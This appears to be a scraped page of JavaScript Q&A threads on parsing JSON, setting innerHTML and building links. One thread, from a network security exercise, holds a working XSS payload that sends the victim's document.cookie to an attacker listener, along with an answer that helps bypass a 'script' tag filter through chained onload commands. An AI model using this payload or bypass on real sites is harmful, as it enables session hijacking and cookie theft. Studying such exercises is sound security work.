Parsing json from external url Html and JS only - javascript

<html>
<body>
<div id="output">hi</div>
</body>
<script>
var link="http://mywp.com/cilacap/api/get_posts/";
var jcontent= JSON.parse(link);
var output=document.getElementById('output');
output.innerHTML=jcontent.id' ';
</script>
</html>
It only shows "hi".
Can someone tell me how to show JSON items such as "id" and "postDate"
with looping but without PHP scripting?
Thanks

Few syntactical errors, below is the right one.
<html>
<body>
<div id="output">hi</div>
</body>
<script>
var link='{"url":"http://mywp.com/cilacap/api/get_posts/", "id":"url_id_01"}';
var jcontent= JSON.parse(link);
var output=document.getElementById('output');
output.innerHTML=jcontent.id + ' ';
</script>
</html>
JSON Data(var link), was not parsable.
JSON Data(var link), didnt contained any attribute called id.
String concatenation in last line(output.innerHTML), was wrong.

Try removing the quotes from:
output.innerHTML=jcontent.id' ';
and change it to:
output.innerHTML += jcontent.id;
Providing that the link is valid it should work now.
You can also write:
console.log(jcontent);
and check if the console displays the value, or any errors that have occurred.

That url is a string, not json.
Use Ajax to get the data ( using jquery)
var link;
$.ajax({
url: "test.html",
}).done(function(data) {
link = data;
});
Then, extract the data;
output.innerHTML=jcontent.id;
Is for the value. You get the key like this:
ES7
Object.entries(jcontent)
.forEach(keyValuePair =>
{
// Push to HTML
var t = document.createTextNode(keyValuePair[0] + ' : ' + keyValuePair[1]);     // Create a text node
output.appendChild(t);   
});
ES6
Object.keys(jcontent)
.map(key => [key, jcontent[key]])
.forEach(keyValuePair =>
{
// Push to HTML
var t = document.createTextNode(keyValuePair[0] + ' : ' + keyValuePair[1]);     // Create a text node
output.appendChild(t);   
});
ES5 (Most likely your case)
Use function instead of arrow functions for es5:
Object.keys(jcontent)
.map(function(key){ [key, jcontent[key]] })
.forEach(function(keyValuePair)
{
// Push to HTML
var t = document.createTextNode(keyValuePair[0] + ' : ' + keyValuePair[1]);     // Create a text node
output.appendChild(t);   
});
Access the value:
keyValuePair[0] // key
keyValuePair[1] // value
Ps
If you want to use the es7 or es6 method, have a look at babeljs

Related

Is there a way to change HTML content of a <p> element from within a Javascript function?

I want to change the HTML content of my webpage from within a javascript function. My HTML looks like this:
<div class="chartInfo">
<p id="last_updated">Hello</p>
</div>
My Javascript function is a QueryResponse to a GoogleCharts query. It looks like this:
<script type="text/javascript">
google.charts.load('current', {'packages':['corechart']});
function function_1() {
var queryString = encodeURIComponent('SELECT AA, AB');
var query = new google.visualization.Query('https://docs.google.com/spreadsheets/d/1dXP9yGEzNlmRxwCr2kyMM9CcS5hloIxKvef0RSa10/gviz/tq?gid=559927965&headers=1&tq=' + queryString);
query.send(function_2);
};
function function_2(response) {
if (response.isError()) {
alert('Error in query: ' + response.getMessage() + ' ' + response.getDetailedMessage());
return;
};
var data = response.getDataTable();
var t = (data.getvalue(0,0));
var latest_time = t.getDate()
document.getElementById("last_updated").innerHTML = "Last updated: " + latest_time;
};
</script>
Currently the webpage is showing "Hello" rather than "Last Updated: " + latest_time as I want it to.
I think it may be a problem of scope - when I write scripts out underneath I can change it from "Hello" to another string using document.getElementById, but then I can't access the variable latest_time which is within function_2.
Thanks in advance for any help!
Change dom.innerHTML to dom.textContent for changing text of it

How to append Ajax Json respond to html?

I use ajax get a json like this:
{"dataStore":"[{\"delete_flag\":\"false\",\"id\":\"74\",\"icon_img\":\"img/a5.jpeg\"}]"}
How to append "delete_flag" , "id" , "icon_img" to 3 different places on html ?
You can use this pure javascript method like below.
The code basically uses document.getElementById() to get the element, and .innerHTML to set the inside of the element to the value of the object.
This code (and the code using jQuery) both use JSON.parse() to parse the data into the correct object that our code can read. The [0] at the end is to select the object we wanted since it would give us an array (and we want an object).
const result = {"dataStore":"[{\"delete_flag\":\"false\",\"id\":\"74\",\"icon_img\":\"img/a5.jpeg\"}]"};
const parsedData = JSON.parse(result.dataStore)[0];
document.getElementById("delete_flag").innerHTML = parsedData.delete_flag;
document.getElementById("id").innerHTML = parsedData.id;
document.getElementById("icon_img").src = parsedData.icon_img;
<div id="delete_flag"></div>
<div id="id"></div>
<img id="icon_img">
Or you can use jQuery (which in my opinion, is much simpler). The code below uses .html() to change the inside of the divs to the item from the object, and .attr() to set the attribute src to the image source you wanted.
const result = {"dataStore":"[{\"delete_flag\":\"false\",\"id\":\"74\",\"icon_img\":\"img/a5.jpeg\"}]"};
const parsedData = JSON.parse(result.dataStore)[0];
$("#delete_flag").html(parsedData.delete_flag);
$("#id").html(parsedData.id);
$("#icon_img").attr("src", parsedData.icon_img);
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<div id="delete_flag"></div>
<div id="id"></div>
<img id="icon_img">
you can use jQuery .html() or .text()
For example:
var json = {"id" : "74"};
$( "#content" )
.html( "<span>This is the ID: " + json.id + "</span>" );
<html>
<head>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
</head>
<body>
<div id="content"></div>
</body>
</html>
Just use some simple JavaScript parsing:
const jsonData = {"dataStore":"[{\"delete_flag\":\"false\",\"id\":\"74\",\"icon_img\":\"img/a5.jpeg\"}]"};
const parsedData = JSON.parse(jsonData.dataStore)[0];
document.getElementById("delFlag").textContent = "Delete Flag: " + parsedData["delete_flag"];
document.getElementById("id").textContent = "ID: " + parsedData["id"];
document.getElementById("img").textContent = "Image: " + parsedData["icon_img"];
<p id="delFlag"></p>
<p id="id"></p>
<p id="img"></p>
Note that you can't parse the full object jsonData because it's not JSON - only the data inside it is JSON.
I've upvoted the other answers, but maybe this will help someone else. On your ajax success function, do something like this:
success: function(data){
// console.log('succes: '+data);
var delete_flag = data['delete_flag'];
$('#results').html(delete_flag); // update the DIV or whatever element
}
if you got real fancy, you could create a for loop and put all the json variable you need into an array and create a function to parse them all into their proper elements; you could learn this on your own fairly easily.
var data = {
"dataStore": {
"delete_flag": "false",
id: "74"
}
}
$('.flag').html(data.dataStore.delete_flag);
$('.id').html(data.dataStore.id);
span {
color: red
}
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
Flag: <span class="flag"></span>
<hr />
ID: <span class="id"></span>

How to display result of javascript as HTML link?

I have the following code that I use to retrieve the hostname of a server and append some text (a filename) to it and display it on an html page.
<script type="text/javascript">
function getBaseUrl() {
var re = new RegExp(/^.*\//);
}
</script>
<script type="text/javascript">
document.write(getBaseUrl() + "filename.ext");
</script>
That generates a server URL such as https://fqdn/folder/filename.ext which is exactly what I need. Everything I have tried to create a link from it breaks things. How do I make that generated text clickable?
It's pretty straight forward to do -
const link = getBaseUrl()+ "filename.ext";
createLinkNode(link, document.body);
// defining a function to create a link node, however this isn't neccessary,
// you could just hard code the logic above.
// I wouldn't recommend setting innerHtml in lieu of making a text node however.
function createLinkNode(url, parent) {
const linkTextNode = document.createTextNode(url);
const linkNode = document.createElement('a');
linkNode.href = url;
linkNode.appendChild(linkTextNode);
parent.appendChild(linkNode);
}
example: https://jsfiddle.net/f4wxvLky/3/
You'd need to wrap it in an <a href=''></a>. This is easiest if you assign the <a> element in question to a variable, as you can then use .href to modify the link, along with .innerHTML to modify the text:
function getBaseUrl() {
return 'http://www.google.com/';
}
const output = document.getElementById('output');
output.innerHTML = 'Link Title';
output.href = getBaseUrl() + "filename.ext";
<a id="output" href=""></a>
If you don't have access to the HTML, this can still be done with raw JavaScript by simply including the <a href=''></a> wrapper in your output, being careful to also output the single quotes:
function getBaseUrl() {
return 'http://www.google.com/';
}
document.write("<a href='" + getBaseUrl() + "filename.ext" + "'>Link Title</a>");
Try this out, I assume getBaseUrl() is working although this doesn't look like. Just a reminder that <a> tag needs to be under the <script> block
<script>
function getBaseUrl() {
var re = new RegExp(/^.*\//);
}
</script>
Click

XSS with "script" removal

This is from a network security practice problem.
The site (set up for this purpose) attempts to protect against XSS by filtering 'script' tags using the following code:
filtered = re.sub(r"(?i)script", "", input)
The task is to execute a payload in the victim's browser that would do things including send their cookies to a remote netcat connection. (I've already accomplished this when the site wasn't filtering 'script').
I've researched this and found that I can execute single javascript commands by making queries such as:
"<body onload=alert(\"hello\");>"
However, this doesn't solve my problem because it can only execute a single command (I believe). The payload I need to execute contains multiple commands.
I've also tried using HTML character codes to avoid the filter, such as:
"<script>..."
but the filter catches it.
Here is the codebase i'm using:
<html>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/2.0.3/jquery.min.js"></script>
<script>
function payload(attacker) {
function log(data) {
$.get(attacker, data);
}
function proxy(href) {
$("html").load(href, function(){
//Send cookie to remote connection
log(document.cookie);
});
}
proxy("./");
}
function makeLink(xssdefense, target, attacker) {
if (xssdefense == 0) {
//Code to execute when there is no filter
return target + "./search?xssdefemse=" + xssdefense.toString() + "&q=" +
encodeURIComponent("<script" + ">" + payload.toString() + ";payload(\"" + attacker + "\");</script" + ">");
}
else {
//Code to execute when 'script' is filtered
return target + "./search?xssdefemse=" + xssdefense.toString() + "&q=" +
encodeURIComponent("<body onload=alert(\"test\");>");
}
}
var xssdefense = 1;
var target = "http://81.211.34.1/xsstest";
var attacker = "http://127.0.0.1:31337/";
$(function() {
var url = makeLink(xssdefense, target, attacker);
$("h3").html("<a id=\"link\" target=\"run\" href=\"" + url + "\"> Enter Site!<\a>");
document.getElementById("link").click();
});
</script> <h3></h3>
</html>
Any help would be greatly appreciated!
You can only have one expression in an onload= attribute, but you can still perform multiple commands.
Good way:
<body onload="(function() { cmd1(); cmd2(); cmd3(); })();">
This defines a function expression which performs the 3 commands, and then gets called (that's the () at the end).
More valid ways (but seriously, go with the first):
<body onload="cmd1(), cmd2(), cmd3();">
or, if you know they all return falsey values (like undefined by not returning anything)
<body onload="cmd1() || cmd2() || cmd3();">
inversely, if you know they all return truthy values (like numbers, strings or objects)
<body onload="cmd1() && cmd2() && cmd3();">
You can have multiple expressions in onload:
<body onload="alert(1); alert(2);">

Adding javascript variable to hyperlink within script

I have been trying to create a hyperlink using a variable defined earlier in the same function to append:
var NAMEVARIABLE = responseArray[i].Name;
var TITLE_Game = document.createElement("p");
TITLE_Game.className = "TITLE_Game";
TITLE_Game.innerHTML = "<a href='Game_NAMEVARIABLE.html'>Games</a>";
I have tried the following using the solution found here: Passing Javascript variable to <a href >
Games
But that didn't work. I then tried adding an ID:
<a id="link" href="Game_.html?propid=">Games</a>
And adding this to the script: document.links["link"].href += NAMEVARIABLE;
This didn't work either. These links are occuring within Isotope, which I've run into newbie-problems making sure my JSON data is loading before the script executes. That's all working now, but I'm not sure if the reason the above methods aren't working is because of a similar issue, or if they simply are not the proper way to go about this.
Any help is much appreciated. Thank you
first of all, try debug your variable :
var NAMEVARIABLE = responseArray[i].Name;
alert(NAMEVARIABLE);
is it returning the desired return value or not.
and then the second thing, in your first style of script, try this instead :
TITLE_Game.innerHTML = "<a href='Game_"+NAMEVARIABLE+".html'>Games</a>";
I assumed you have (static) html collection with game_[number_id].html format
and if it's so, you can try further with your second style of script, and change it to this :
Games
you need to learn further about javascript strings concatenation
Use string concatenation to build up your inner html string.
Example:
var nameVariable = 'Foo';
var innerHtmlText = nameVariable + 'bar';
$('#someElement').html(innerHtmlText);
The contents of someElement will then contain the text: 'Foobar';
You just need string concatenation. modify link's href onclick would be considered as spam in most modern browser.
<div id="result">
the result:
</div>
<script type="text/javascript">
var name = "foo_bar";
var url = "page.html?key=" + name; //or.. "page_" + name + ".html";
var link = 'link here';
$("#result").addClass("g_title");
$("#result").append(link);
</script>
This can be achieved by either (i.e. pure JS or jQuery) ways without much hassle. Suppose you have this <a> element with some href
<a id="Link" href="/collection/categories/">Games</a>
Pure JavaScript way:
window.onload = function() {
var link= document.getElementById('Link'),
url = link.href + responseArray[i].Name + '.html';
link.setAttribute('href', url);
}
Using Jquery:
$(function(){
var link= $('#Link'),
url = link.attr('href') + responseArray[i].Name + '.html';
link.attr('href', url);
});

Categories

Resources